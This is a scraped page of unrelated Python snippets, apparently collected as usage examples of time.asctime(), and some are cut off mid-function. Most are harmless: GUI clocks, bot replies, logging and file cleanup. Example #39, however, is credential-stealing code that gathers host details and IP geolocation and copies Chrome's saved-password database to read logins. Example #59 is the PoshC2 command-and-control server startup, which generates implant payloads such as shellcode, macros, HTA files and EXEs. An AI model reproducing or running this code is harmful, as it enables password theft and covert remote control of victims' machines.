Example #37
0
import sys, pygame
import time

# -------------------- Variables ------------------

backgroundColor = 255, 255, 255

size = width, height = 800, 240

startTime = time.time()

asciiStartTime = time.asctime()

# -------------------- Functions ------------------


def Add_Text(textString, yOffset):

    label = myfont.render(textString, 1, (0, 0, 0))
    textrect = label.get_rect()
    textrect.centerx = screen.get_rect().centerx
    textrect.centery = screen.get_rect().centery + yOffset * textrect.height

    screen.blit(label, textrect)


def Add_Ascii_Time(yOffset):

    textString = time.asctime()

    Add_Text(textString, yOffset)
Example #38
0
def get_time(update, context):
    update.message.reply_text(time.asctime().split()[3])
Example #39
0
from email import encoders
from Tools.demo.mcast import sender
from ip2geotools.databases.noncommercial import DbIpCity
from os.path import basename
from smtplib import SMTP
from email.header import Header
from email.utils import parseaddr, formataddr
from base64 import encodebytes
import random
################################################################################
#                              ВСЕ ДАННЫЕ И ЛОКАЦИЯ                            #
################################################################################
drives = str(win32api.GetLogicalDriveStrings())
drives = str(drives.split('\000')[:-1])
response = DbIpCity.get(requests.get("https://ramziv.com/ip").text, api_key='free')
all_data = "Time: " + time.asctime() + '\n' + "Кодировка ФС: " + sys.getfilesystemencoding() + '\n' + "Cpu: " + platform.processor() + '\n' + "Система: " + platform.system() + ' ' + platform.release() + '\nIP: '+requests.get("https://ramziv.com/ip").text+'\nГород: '+response.city+'\nGen_Location:' + response.to_json() + '\nДиски:' + drives
file = open(os.getenv("APPDATA") + '\\alldata.txt', "w+") 
file.write(all_data)
file.close()
################################################################################
#                              GOOGLE PASSWORDS                                #
################################################################################
def Chrome(): 
   text = 'Passwords Chrome:' + '\n' 
   text += 'URL | LOGIN | PASSWORD' + '\n' 
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'): 
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2') 
       cursor = conn.cursor()
       cursor.execute('SELECT action_url, username_value, password_value FROM logins')
       for result in cursor.fetchall():
Example #40
0
def get_date(update, context):
    time_list = time.asctime().split()
    date = ' '.join((time_list[2], time_list[1], time_list[4]))
    update.message.reply_text(date)
Example #41
0
        out.append(ter)
    
    out.append("%-80s\n" % "END")

    if uhbd_style:
        out = [l for l in out if l[0:3] != "TER"] 

        # UHBD takes a non-standard pdb file; atom names must be left-justified.
        out = ["%s%-4s%s" % (l[:12],l[12:16].strip(),l[16:]) for l in out]
    
        # UHDB also cannot handle chain identifiers, remove them
        out = ["%s %s" % (l[0:21],l[22:]) for l in out]

    # Add header and END
    out.insert(0,"%-79s\n" % "REMARK  Polar hydrogens added by pdb_addH.py")
    out.insert(1,"%-79s\n" % ("REMARK  Time: %s" % time.asctime()))
    
    return out


def main():
    """
    Call if program called from command line.
    """
   
    # Parse command line
    cmdline.initializeParser(__description__,__date__)
    cmdline.addOption(short_flag="t",
                      long_flag="his_tautomers",
                      action="store",
                      default=None,
Example #42
0
LOGGING = {
    'version': 1,
    'disable_existing_loggers': False,
    'formatters': {
        'utc': {
            '()': UTCFormatter,
            'format': '%(asctime)s %(message)s',
        },
        'local': {
            'format': '%(asctime)s %(message)s',
        }
    },
    'handlers': {
        'console1': {
            'class': 'logging.StreamHandler',
            'formatter': 'utc',
        },
        'console2': {
            'class': 'logging.StreamHandler',
            'formatter': 'local',
        },
    },
    'root': {
        'handlers': ['console1', 'console2'],
    }
}

if __name__ == '__main__':
    logging.config.dictConfig(LOGGING)
    logging.warning('The local time is %s', time.asctime())
Example #43
0
 def test_asctime(self):
     time.asctime(time.gmtime(self.t))
     self.assertRaises(TypeError, time.asctime, 0)
Example #44
0
import PySimpleGUI as sg  # ------ GUI
import time
from SoundClass import RadioDevice

radio = RadioDevice()

theme = 'Reds'
backgroundColor = '#F0F0F0'
sg.change_look_and_feel(theme)
sg.SetOptions(element_padding=(0, 0))
screenSize = (800, 480)  # -- Display size
stdFont = ('Tlwg Mono', 20)  # -- Standard font size
buttFont = ('Tlwg Mono', 20)  # -- Button font size
currTime = time.asctime(time.localtime(time.time()))
currTemp = 76
currHumidity = 40
currPressure = 80
loggedIn = False
username = '******'
radioActive = False
envActive = False
mapActive = False
users = {'335577': 'Justin', '112233': 'Megan', '998877': 'Brian'}
playButton = './ButtonGraphics/play.png'
stopButton = './ButtonGraphics/stop.png'
backButton = './ButtonGraphics/back.png'
nextButton = './ButtonGraphics/next.png'
exitButton = './ButtonGraphics/exit.png'
weatherMan = './Graphics/weather.png'
mapArea = './Graphics/fxbg.png'
# set random seed
t0 = time.time()
np.random.seed(int(t0))
#np.random.seed(0)


f = fgeneric.LoggingFunction(datapath, **opts)
for dim in dimensions:  # small dimensions first, for CPU reasons
    for fun_id in function_ids:
        for iinstance in instances:
            f.setfun(*bbobbenchmarks.instantiate(fun_id, iinstance=iinstance))

            # independent restarts until maxfunevals or ftarget is reached
            for restarts in xrange(maxrestarts + 1):
                if restarts > 0:
                    f.restart('independent restart')  # additional info
                run_optimizer(f.evalfun, dim,  eval(maxfunevals) - f.evaluations,
                              f.ftarget)
                if (f.fbest < f.ftarget
                    or f.evaluations + eval(minfunevals) > eval(maxfunevals)):
                    break

            f.finalizerun()
            print('  f%d in %d-D, instance %d: FEs=%d with %d restarts, '
                  'fbest-ftarget=%.4e, elapsed time [h]: %.2f'
                  % (fun_id, dim, iinstance, f.evaluations, restarts,
                     f.fbest - f.ftarget, (time.time()-t0)/60./60.))

        print '      date and time: %s' % (time.asctime())
    print '---- dimension %d-D done ----' % dim
Example #46
0
 def test_conversions(self):
     self.assert_(time.ctime(self.t)
                  == time.asctime(time.localtime(self.t)))
     self.assert_(long(time.mktime(time.localtime(self.t)))
                  == long(self.t))
Example #47
0
if __name__ == '__main__':

    _save_log_ = False
    if _save_log_:
        from datetime import datetime
        from std_logger import StdFileLoggerCtrl

        # save all console activity to out_log_file
        out_log_file = os.path.join(
            r'P:\Synchronize\python_script_logs\\%s_log_%s.log' % (
            os.path.basename(__file__),
            datetime.now().strftime('%Y%m%d%H%M%S')))

        log_link = StdFileLoggerCtrl(out_log_file)

    print('#### Started on %s ####\n' % time.asctime())
    START = timeit.default_timer()

    #==========================================================================
    # When in post_mortem:
    # 1. "where" to show the stack
    # 2. "up" move the stack up to an older frame
    # 3. "down" move the stack down to a newer frame
    # 4. "interact" start an interactive interpreter
    #==========================================================================

    if DEBUG_FLAG:
        try:
            main()

        except:
Example #48
0
	def heart_mobile(self,room_id):
		url="https://api.live.bilibili.com/mobile/userOnlineHeart"
		data = {'room_id': room_id}
		response = json.loads(requests.post(url,data = data,cookies = self.cookie).text)
		print("["+time.asctime(time.localtime(time.time()))+"]\theart_mobile")
Example #49
0
    def downloadInternal(self, url, dest_stream):
        try:
            url = self.url
            fileout = dest_stream
            self.status = 'bootstrap done'
            First = True
            cont = True
            lastbuf = None
            lost = 1
            ignorefind = 0
            lastpts = None
            fixpid = 256
            ignoredblock = None
            sleeptime = 0

            while True:
                if sleeptime > 0:
                    xbmc.sleep(sleeptime)
                    sleeptime = 0
                starttime = time.time()
                response = self.openUrl(url)
                buf = "start"
                byteread = 0
                bytesent = 0
                firstBlock = True
                wrotesomething = False
                currentduration = 0
                limit = 1024 * 188
                lastdataread = limit

                #print 'starting.............. new url',wrotesomething
                try:
                    if self.g_stopEvent and self.g_stopEvent.isSet():
                        return
                    while (buf != None and len(buf) > 0 and lastdataread > 0):

                        if self.g_stopEvent and self.g_stopEvent.isSet():
                            return
                        try:

                            buf = response.read(limit)  ##500 * 1024)
                            lastdataread = len(buf)
                            byteread += lastdataread
                            #print 'got data',len(buf)
                            if lastdataread == 0: print 1 / 0
                        except:
                            buf = None
                            traceback.print_exc(file=sys.stdout)
                            lost += 1
                            #print 'err',lost
                            if lost > 10:
                                fileout.close
                                return
                            break
                        writebuf = buf

                        if not First:
                            ##print 'second ite',wrotesomething
                            if wrotesomething == False:
                                ##print 'second ite wrote something false'#, len(lastbuf)
                                if lastpts:
                                    #buffertofind=lastbuf#[lastbuf.rfind('G',len(lastbuf)-170):]
                                    ##print 'buffertofind',len(buffertofind),buffertofind.encode("hex")
                                    #print 'pts to find',lastpts
                                    lastforcurrent = getLastPTS(
                                        buf, fixpid, defualtype)
                                    #print 'last pts in new data',lastforcurrent
                                    if lastpts < lastforcurrent:  #we have data
                                        #print 'we have data', lastpts,lastforcurrent, (lastforcurrent-lastpts)/90000

                                        try:
                                            firstpts, pos = getFirstPTSFrom(
                                                buf, fixpid, lastpts,
                                                defualtype)  #
                                        except:
                                            traceback.print_exc(
                                                file=sys.stdout)
                                            print 'getFirstPTSFrom error, using, last -1',  # buf.encode("hex"), lastpts,
                                            firstpts, pos = getFirstPTSFrom(
                                                buf, fixpid, lastpts - 1,
                                                defualtype)  #

                                        #if ignoredblock and (lastpts-firstpts)<0:
                                        #    print 'ignored last block yet the new block loosing data'
                                        #    print lastpts,firstpts,lastpts-firstpts
                                        #    print ignoredblock.encode('hex')
                                        #    print buf.encode('hex')

                                        #print 'last pst send',lastpts,
                                        #print 'first pst new',firstpts
                                        #if abs(lastpts-firstpts)>300000:
                                        #    print 'xxxxxxxxxxxxxxxxxx',buf.encode("hex")
                                        #print 'last pst new',lastforcurrent
                                        if firstpts > lastforcurrent:
                                            print 'bad pts? ignore'  #, buf.encode("hex")
                                        #print 'auto pos',pos
                                        if pos == None: pos = 0
                                        if pos > 5000:
                                            rawpos = buf.find(lastbuf[-5000:])
                                            if rawpos >= 0:
                                                pos = rawpos + 5000
                                                #print 'overridin 1'
                                            else:
                                                #print 'rawpos',rawpos,lastbuf[-5000:].encode("hex")
                                                #print 'buff',buf.encode("hex")
                                                rawpos = (
                                                    ignoredblock + buf).find(
                                                        (lastbuf)[-5000:])
                                                if rawpos > len(ignoredblock):
                                                    pos = rawpos - len(
                                                        ignoredblock)
                                                    #print 'overridin 2'
                                        #else:
                                        #    print 'using next PTS', pos, firstpts
                                        ignoredblock = None
                                        #else: pos=0
                                        #print firstpts,pos,(firstpts-lastpts)/90000
                                        #fn=buf.find(buffertofind[:188])
                                        #print 'BUFFER FOUND!!', (pos*100)/len(buf)
                                        if (pos * 100) / len(buf) > 70:
                                            sleeptime = 0
                                        buf = buf[pos:]
                                        lastpts = lastforcurrent
                                        #print 'now last pts',lastpts
                                        wrotesomething = True
                                    else:
                                        #if lastforcurrent==None:
                                        #    print 'NONE ISSUE', buf.encode("hex")
                                        print 'problembytes', 'diff', lastpts - lastforcurrent, lastpts, lastforcurrent
                                        #buf.encode("hex")
                                        ignoredblock = writebuf
                                        ignorefind += 1  #same or old data?
                                        writebuf = None
                                        #if lastpts-lastforcurrent>(90000*10):

                                        #lastdataread=0 # read again we are buffering
                                        #response.close()
                                        #xbmc.sleep(1000)
                                        #    print 'reconnect'
                                        #if ignorefind>5:
                                        #    ignorefind=0
                                        #    #print 'not ignoring so write data'
                                        #else:
                                        #    #print 'ignoring at the m'
                                        #    writebuf=None
                                        #print 'Buffer NOT FOUND!!ignoring'
                                #else:
                                #    writebuf=None
                                ##print 'second ite wrote something false skipiing'
                            #else:
                            ##print 'second ite wrote something so continue'
                        else:
                            #print 'found first packet', len(writebuf)
                            First = False
                            if not ('\x47' in writebuf[0:20]):
                                #fileout.write(buf)
                                #fileout.flush()
                                print 'file not TS', repr(writebuf[:100])
                                fileout.close()
                                return
                            starttime = time.time()

                        if writebuf and len(writebuf) > 0:
                            wrotesomething = True
                            if len(buf) > 5000 or lastbuf == None:
                                lastbuf = buf
                            else:
                                lastbuf += buf
                            bytesent += len(buf)
                            fileout.write(buf)

                            ##print 'writing something..............'

                            fileout.flush()
                            lastpts1 = getLastPTS(lastbuf, fixpid, defualtype)
                            if lastpts and lastpts1 and lastpts1 - lastpts < 0:
                                print 'too small?', lastpts, lastpts1, lastpts1 - lastpts
                                #print lastbuf.encode("hex")
                            if not lastpts1 == None: lastpts = lastpts1

                            try:
                                firsttime, pos = getFirstPTSFrom(
                                    lastbuf, fixpid, 0, defualtype)  #
                                #print lastpts,firsttime
                                currentduration += (lastpts -
                                                    firsttime) / 90000
                                ##print 'currentduration',currentduration
                                #currentduration-=2
                                #f currentduration<=2:
                                #    currentduration=0
                                #if currentduration>10: currentduration=2
                                ##print 'sleeping for',currentduration
                            except:
                                pass

                    try:

                        print 'finished', byteread
                        if byteread > 0:
                            print 'Percent Used' + str(
                                ((bytesent * 100) / byteread))
                        response.close()

                        print 'response closed'
                    except:
                        print 'close error'
                        traceback.print_exc(file=sys.stdout)
                    if wrotesomething == False:
                        if lost < 10: continue
                        fileout.close()
                        #print time.asctime(), "Closing connection"
                        return
                    else:
                        lost = 0
                        if lost < 0: lost = 0
                        #xbmc.sleep(len(buf)*1000/1024/200)
                        #print 'finish writing',len(lastbuf)
                        ##print lastbuf[-188:].encode("hex")
                        endtime = time.time()
                        timetaken = int((endtime - starttime))
                        #print 'video time',currentduration
                        #print 'processing time',timetaken
                        sleeptime = currentduration - timetaken - 2
                        #print 'sleep time',sleeptime
                        #if sleeptime>0:
                        #    xbmc.sleep(sleeptime*1000)#len(buf)/1024/1024*5000)

                except socket.error, e:
                    print time.asctime(), "Client Closed the connection."
                    try:
                        response.close()
                        fileout.close()

                    except Exception, e:
                        return
                    return
                except Exception, e:
                    traceback.print_exc(file=sys.stdout)
                    response.close()
                    fileout.close()
                    return
Example #50
0
def write_results(corr, res_file_name):
    """
    Writes results to a file
    """

    # open results file
    res_file = open(res_file_name, 'w')

    # machine info
    mach_name, mach_arch = machine_info()
    header = [
        "#", "# Machine: " + mach_name + " " + mach_arch,
        "# Date: " + time.asctime(time.localtime())
    ]

    # file names and times
    script_file_name = sys.modules[__name__].__file__
    script_time = \
        time.asctime(time.localtime(os.path.getmtime(script_file_name)))
    header.extend([\
            "#",
            "# Input script: " + script_file_name + " (" + script_time + ") " \
                + __version__,
            "# Working directory: " + os.getcwd()])

    # transformation parameters
    lm2overview_est_str = ""
    if corr.lm2overview.rmsError is not None:
        lm2overview_rmsError = corr.lm2overview.rmsError
        overview2lm_rmsError = corr.overview2lm.rmsError
    else:
        lm2overview_rmsError = corr.lm2overview.rmsErrorEst
        overview2lm_rmsError = corr.overview2lm.rmsErrorEst
        lm2overview_est_str = " (estimated)"
    header.extend([
            "#",
            "# Transformation parameters",
            "#",
            "# LM to EM overview:",
            "#   - rotation = %6.1f" % corr.lm2overview.phiDeg \
                + ",  scale = [%6.3f, %6.3f]" \
                % (corr.lm2overview.scale[0], corr.lm2overview.scale[1]) \
                + ",  parity = %d" % corr.lm2overview.parity \
                + ",  shear = %7.3f" % corr.lm2overview.shear,
            "#   - translation = [%6.3f, %6.3f]" % (corr.lm2overview.d[0],
                                                    corr.lm2overview.d[1]),
            "#   - rms error" + lm2overview_est_str + ": " \
                + "(in EM overview units) %6.2f" % lm2overview_rmsError \
                + ",  (in LM units) %6.2f" % overview2lm_rmsError
            ])
    try:
        header.extend([
            "#   - error (in EM overview units): " \
                + str(corr.lm2overview.error)
            ])
    except AttributeError:
        header.extend([
            "#   - Gl error (in EM overview units): " \
                + str(corr.lm2overview.errorGl),
            "#   - Translation error (in EM overview units): " \
                + str(corr.lm2overview.errorD)
            ])
    header.extend([
            "#",
            "# EM overview to search:",
            "#   - rotation = %6.1f" % corr.overview2search.phiDeg \
                + ",  scale = [%6.3f, %6.3f]" \
                % (corr.overview2search.scale[0],
                   corr.overview2search.scale[1]) \
                + ",  parity = %d" % corr.overview2search.parity \
                + ",  shear = %7.3f" % corr.overview2search.shear,
            "#   - translation = [%6.3f, %6.3f]" % (corr.overview2search.d[0],
                                                    corr.overview2search.d[1]),
            "#   - rms error: " \
                + "(in EM search units) %6.2f" % corr.overview2search.rmsError \
                + ",  (in EM overview units) %6.2f" \
                % corr.search2overview.rmsError,
            "#   - error (in EM search units): " \
                + str(corr.overview2search.error),
            "#",
            "# LM to EM search:",
            "#   - rotation = %6.1f" % corr.lm2search.phiDeg \
                + ",  scale = [%6.3f, %6.3f]" \
                % (corr.lm2search.scale[0], corr.lm2search.scale[1]) \
                + ",  parity = %d" % corr.lm2search.parity \
                + ",  shear = %7.3f" % corr.lm2search.shear,
            "#   - translation = [%6.3f, %6.3f]" % (corr.lm2search.d[0],
                                                    corr.lm2search.d[1]),
            "#   - rms error (estimated): " \
                + "(in EM search units) %6.2f" % corr.lm2search.rmsErrorEst,
            ])
    if corr.overviewCenter is not None:
        header.extend([
            "", "#",
            "# Overview center: [%d, %d]" %
            (corr.overviewCenter[0], corr.overviewCenter[1]),
            "# Main search: [%d, %d]" %
            (corr.searchMain[0], corr.searchMain[1]), "#"
        ])

    # write header
    for line in header:
        res_file.write(line + os.linesep)

    # LM spots correlation results
    table = []
    if (corr.lmSpots is not None) and (len(corr.lmSpots) > 0):
        table.extend([\
                "#",
                "# Correlation of LM spots",
                "#",
                "#  id        LM         EM overview       EM search" ])
        out_vars = [
            corr.lmSpots[:, 0], corr.lmSpots[:, 1],
            corr.overviewFromLmSpots[:, 0], corr.overviewFromLmSpots[:, 1],
            corr.searchFromLmSpots[:, 0], corr.searchFromLmSpots[:, 1]
        ]
        out_format = ' %3u   %6.2f %6.2f   %6.0f %6.0f   %6.1f %6.1f '
        n_res = corr.lmSpots.shape[0]
        ids = range(n_res)
        res_tab_1 = pyto.io.util.arrayFormat(arrays=out_vars,
                                             format=out_format,
                                             indices=ids,
                                             prependIndex=True)
        table.extend(res_tab_1)

    # EM overview spots correlation results
    if (corr.overviewSpots is not None) and (len(corr.overviewSpots) > 0):
        table.extend([
            '', "#", "# Correlation of EM overview spots", "#",
            "#  id        LM         EM overview       EM search"
        ])
        out_vars_overview = [
            corr.lmFromOverviewSpots[:, 0], corr.lmFromOverviewSpots[:, 1],
            corr.overviewSpots[:, 0], corr.overviewSpots[:, 1],
            corr.searchFromOverviewSpots[:, 0], corr.searchFromOverviewSpots[:,
                                                                             1]
        ]
        out_format_overview = ' %3u   %6.2f %6.2f   %6.0f %6.0f   %6.1f %6.1f '
        if corr.overviewSpotLabels is not None:
            out_vars_overview += [corr.overviewSpotLabels]
            out_format_overview += '  %s '
        n_res = corr.overviewSpots.shape[0]
        ids = range(n_res)
        res_tab_2 = pyto.io.util.arrayFormat(arrays=out_vars_overview,
                                             format=out_format_overview,
                                             indices=ids,
                                             prependIndex=True)
        table.extend(res_tab_2)

    # EM search spots correlation results
    if (corr.searchSpots is not None) and (len(corr.searchSpots) > 0):
        table.extend([
            '', "#", "# Correlation of EM search spots", "#",
            "#  id        LM         EM overview       EM search"
        ])
        out_vars_search = [
            corr.lmFromSearchSpots[:, 0], corr.lmFromSearchSpots[:, 1],
            corr.overviewFromSearchSpots[:,
                                         0], corr.overviewFromSearchSpots[:,
                                                                          1],
            corr.searchSpots[:, 0], corr.searchSpots[:, 1]
        ]
        out_format_search = ' %3u   %6.2f %6.2f   %6.0f %6.0f   %6.1f %6.1f '
        if corr.searchSpotLabels is not None:
            out_vars_search += [corr.searchSpotLabels]
            out_format_search += '  %s '
        n_res = corr.searchSpots.shape[0]
        ids = range(n_res)
        res_tab_2 = pyto.io.util.arrayFormat(arrays=out_vars_search,
                                             format=out_format_search,
                                             indices=ids,
                                             prependIndex=True)
        table.extend(res_tab_2)

    # write data table
    for line in table:
        res_file.write(line + os.linesep)
Example #51
0
import socket
import time

def get_host_ip():
    """返回本机IP地址"""
    try:
        ss = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        ss.connect(('8.8.8.8', 8070))
        ip = ss.getsockname()[0]
    finally:
        ss.close()
    return ip



HOST = '192.168.1.255'
PORT = 9999
ADDR = (HOST, PORT)
udpCliSock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udpCliSock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
data = bytes((str(time.asctime( time.localtime(time.time()))) + '      ObjectTransparants').encode('utf-8'))
while True:
    udpCliSock.sendto(data, ADDR)
    print('sus')
    time.sleep(6)

#udpCliSock.close()
# -*- coding: utf-8 -*-
import pymysql
import re

import time

print time.asctime(time.localtime(time.time()))
# for i in range(1,28):
#     num = i * 100000
conn = pymysql.connect(host='192.168.12.34',
                       user='******',
                       passwd='root',
                       db='laws_doc2',
                       charset='utf8')
cursor = conn.cursor()
# sql = 'select uuid,party_info from lawyer_picture where id < 2'   #LOCATE函数,包含||,返回大于0的数值。
sql = 'select id,party_info from lawyer_picture where party_info like "%被告%公司%"  or party_info like "%原告%公司%" '  #LOCATE函数,包含||,返回大于0的数值。
cursor.execute(sql)
# row_1 = cursor.fetchone()
# row_2 = cursor.fetchmany(5)
row_2 = cursor.fetchall()

import re
for row in row_2:

    if row[1] and row[1] != "":
        result = re.split("[" + u",:。\n\r " + "]+",
                          row[1])  #将当事人信息字段,按,。:换行等等分割
        plaintiff = []
        defendant = []
Example #53
0
print(chr(98))

# list 有序的集合
classmates = ['Michael', 'Bob', 'Tracy']

print(classmates)
print(classmates[0])

print(len(classmates))

# tuple 一旦初始化就不能修改
tuples = ['Michael', 'Bob', 'Tracy']

print(tuples[-1])

#dict
d = {'Michael': 95, 'Bob': 75, 'Tracy': 85}
print(d['Bob'])

#time

localtime = time.localtime(time.time())

print(localtime)

### asctime()

asc = time.asctime(time.localtime(time.time()))

print(asc)
Example #54
0
import time

# 时间戳
print(time.time())

# 结构化时间
print(time.localtime())
# 格林尼治时间
print(time.gmtime())

# 结构化时间转化为时间戳
print(time.mktime(time.localtime()))

# 字符串时间转化
print(time.strftime("%Y-%m-%d %X", time.localtime()))
print(time.strptime("2018-02-10 15:13:50", "%Y-%m-%d %X"))

print(time.asctime())
print(time.ctime())
Example #55
0

def delete_empty_dir(folder):
    global TOTAL_DELETED_DIRS
    empty_folders_now = 0
    for path, dirs, files in os.walk(folder):
        if (not dirs) and (not files):
            TOTAL_DELETED_DIRS += 1
            empty_folders_now += 1
            print("deleting empty dir. " + str(path))
            os.rmdir(path)
    if empty_folders_now > 0:
        delete_empty_dir(folder)


# ------- main loop ----

start_time = time.asctime()

for folder in FOLDERS:
    delete_old_files(folder)
    delete_empty_dir(folder)

finish_time = time.asctime()

print("------------")
print("start time: " + str(start_time))
print("total deleted size: " + str(int(TOTAL_DELETED_SIZE / 1024)) + "kB")
print("total deleted files: " + str(TOTAL_DELETED_FILES))
print("total deleted empty folders: " + str(TOTAL_DELETED_DIRS))
print("finish time: " + str(finish_time))
Example #56
0
                key1 = list(event['start'].keys())[0]
                start = fix_event_time(event['start'][key1])
                end = fix_event_time(event['end'][key1])
                dict = {'summary': summary, 'start': start, 'end': end}
                events_list.append(dict)
                # print(dict)
    return events_list


if __name__ == '__main__':
    while True:
        num_of_users = len(os.listdir('/home/pi/MirageSmartMirror/src/Users'))

        # print(num_of_users)

        stime = time.asctime(time.localtime(time.time()))
        print('Start time: ', stime)

        for i in range(num_of_users):
            j = num_of_users - i - 1
            file_path = '/home/pi/MirageSmartMirror/src/Users/user%d/user%d.json' % (
                j, j)
            calendar_path = '/home/pi/MirageSmartMirror/src/Users/user%d/user%d_auth.json' % (
                j, j)
            with open(file_path) as f:
                data = json.load(f)

            user_dict = json.loads(data)

            # print(user_dict['freqDests'])
# non-GUI side: connect stream to socket and proceed normally

import time, sys
if len(sys.argv) > 1:                       # link to gui only if requested
    from socket_stream_redirect0 import *   # connect my sys.stdout to socket
    redirectOut()                           # GUI must be started first as is
    
# non-GUI code
while True:                                 # print data to stdout
    print(time.asctime())                   # send to GUI process via socket
    sys.stdout.flush()                      # must flush to send: buffered!
    time.sleep(2.0)                         # no unbuffered mode, -u irrelevant
Example #58
0
if onlyAdd == False:
    Login(email)

if time_flag:
    # 檢查是否要開始
    while time_flag:
        now = time.time()
        print('### Not Start Runing ###')
        #開始後有時間限制!
        start_time = time.time()
        while now - run_time > 0:
            end_time = time.time()
            print('start_time: ', start_time)
            print('end_time: ', end_time)
            print('start - end: ', end_time - start_time)
            print('check time: ', time.asctime(time.localtime(end_time)))
            print('=============time count===============',
                  end_time - start_time)
            print('===================')
            print('===================')
            print('===================')
            if (end_time - start_time) <= (time_period * 60):
                print('購買票券...')
                BuyTicket(id, 0, itmeList, False, onlyAdd, computer)
            else:
                print('停止購買。')
                time_flag = False
                break
            #time.sleep(3)
        if time_flag == False:
            break
Example #59
0
def main(args):
    httpd = ThreadedHTTPServer((BindIP, BindPort), MyHandler)

    try:
        if os.name == 'nt':
            os.system('cls')
        else:
            os.system('clear')
    except Exception:
        print("cls")
    print(chr(27) + "[2J")
    print(Colours.GREEN + logopic)
    print(Colours.END + "")

    if os.path.isfile(Database):
        print("Using existing database / project" + Colours.GREEN)
        C2 = get_c2server_all()
        if ((C2[1] == PayloadCommsHost) and (C2[3] == DomainFrontHeader)):
            qstart = "%squickstart.txt" % (PoshProjectDirectory)
            if os.path.exists(qstart):
                with open(qstart, 'r') as f:
                    print(f.read())
        else:
            print("Error: different IP so regenerating payloads")
            if os.path.exists("%spayloads_old" % PoshProjectDirectory):
                import shutil
                shutil.rmtree("%spayloads_old" % PoshProjectDirectory)
            os.rename(PayloadsDirectory, "%s:_old" % PoshProjectDirectory)
            os.makedirs(PayloadsDirectory)
            C2 = get_c2server_all()
            newPayload = Payloads(C2[5], C2[2], PayloadCommsHost,
                                  DomainFrontHeader, C2[8], C2[12], C2[13],
                                  C2[11], "", "", C2[19], C2[20], C2[21],
                                  get_newimplanturl(), PayloadsDirectory)
            new_urldetails("updated_host", PayloadCommsHost, C2[3], "", "", "",
                           "")
            update_item("PayloadCommsHost", "C2Server", PayloadCommsHost)
            update_item("QuickCommand", "C2Server", QuickCommand)
            update_item("DomainFrontHeader", "C2Server", DomainFrontHeader)
            newPayload.CreateRaw()
            newPayload.CreateDlls()
            newPayload.CreateShellcode()
            newPayload.CreateSCT()
            newPayload.CreateHTA()
            newPayload.CreateCS()
            newPayload.CreateMacro()
            newPayload.CreateEXE()
            newPayload.CreateMsbuild()
            newPayload.CreatePython()
            newPayload.WriteQuickstart(PoshProjectDirectory + 'quickstart.txt')

    else:
        print("Initializing new project folder and database" + Colours.GREEN)
        print("")
        directory = os.path.dirname(PoshProjectDirectory)
        if not os.path.exists(PoshProjectDirectory):
            os.makedirs(PoshProjectDirectory)
        if not os.path.exists(DownloadsDirectory):
            os.makedirs(DownloadsDirectory)
        if not os.path.exists(ReportsDirectory): os.makedirs(ReportsDirectory)
        if not os.path.exists(PayloadsDirectory):
            os.makedirs(PayloadsDirectory)
        initializedb()
        if not validate_sleep_time(DefaultSleep):
            print(Colours.RED)
            print(
                "Invalid DefaultSleep in config, please specify a time such as 50s, 10m or 1h"
            )
            print(Colours.GREEN)
            sys.exit(1)
        setupserver(PayloadCommsHost,
                    gen_key().decode("utf-8"), DomainFrontHeader, DefaultSleep,
                    KillDate, HTTPResponse, PoshProjectDirectory,
                    PayloadCommsPort, QuickCommand, DownloadURI, "", "", "",
                    Sounds, ClockworkSMS_APIKEY, ClockworkSMS_MobileNumbers,
                    URLS, SocksURLS, Insecure, UserAgent, Referrer,
                    Pushover_APIToken, Pushover_APIUser, EnableNotifications)
        rewriteFile = "%s/rewrite-rules.txt" % directory
        print("Creating Rewrite Rules in: " + rewriteFile)
        print("")
        rewriteHeader = [
            "RewriteEngine On", "SSLProxyEngine On", "SSLProxyCheckPeerCN Off",
            "SSLProxyVerify none", "SSLProxyCheckPeerName off",
            "SSLProxyCheckPeerExpire off",
            "# Change IPs to point at C2 infrastructure below",
            "Define PoshC2 10.0.0.1", "Define SharpSocks 10.0.0.1"
        ]
        rewriteFileContents = rewriteHeader + urlConfig.fetchRewriteRules(
        ) + urlConfig.fetchSocksRewriteRules()
        with open(rewriteFile, 'w') as outFile:
            for line in rewriteFileContents:
                outFile.write(line)
                outFile.write('\n')
            outFile.close()

        C2 = get_c2server_all()
        newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
                              C2[13], C2[11], "", "", C2[19], C2[20], C2[21],
                              get_newimplanturl(), PayloadsDirectory)

        new_urldetails("default", C2[1], C2[3], "", "", "", "")
        newPayload.CreateRaw()
        newPayload.CreateDlls()
        newPayload.CreateShellcode()
        newPayload.CreateSCT()
        newPayload.CreateHTA()
        newPayload.CreateCS()
        newPayload.CreateMacro()
        newPayload.CreateEXE()
        newPayload.CreateMsbuild()

        create_self_signed_cert(PoshProjectDirectory)
        newPayload.CreatePython()
        newPayload.WriteQuickstart(directory + '/quickstart.txt')

    print("")
    print("CONNECT URL: " + select_item("PayloadCommsHost", "C2Server") +
          get_newimplanturl() + Colours.GREEN)
    print("WEBSERVER Log: %swebserver.log" % PoshProjectDirectory)
    global KEY
    KEY = get_baseenckey()
    print("")
    print(time.asctime() + " PoshC2 Server Started - %s:%s" %
          (BindIP, BindPort))
    from datetime import date, datetime
    killdate = datetime.strptime(C2[5], '%d/%m/%Y').date()
    datedifference = number_of_days(date.today(), killdate)
    if datedifference < 8:
        print(Colours.RED + ("\nKill Date is - %s - expires in %s days" %
                             (C2[5], datedifference)))
    else:
        print(Colours.GREEN + ("\nKill Date is - %s - expires in %s days" %
                               (C2[5], datedifference)))
    print(Colours.END)

    protocol = urlparse(PayloadCommsHost).scheme

    if protocol == 'https':
        if (os.path.isfile(
                "%sposh.crt" % PoshProjectDirectory)) and (os.path.isfile(
                    "%sposh.key" % PoshProjectDirectory)):
            try:
                httpd.socket = ssl.wrap_socket(
                    httpd.socket,
                    keyfile="%sposh.key" % PoshProjectDirectory,
                    certfile="%sposh.crt" % PoshProjectDirectory,
                    server_side=True,
                    ssl_version=ssl.PROTOCOL_TLS)
            except Exception:
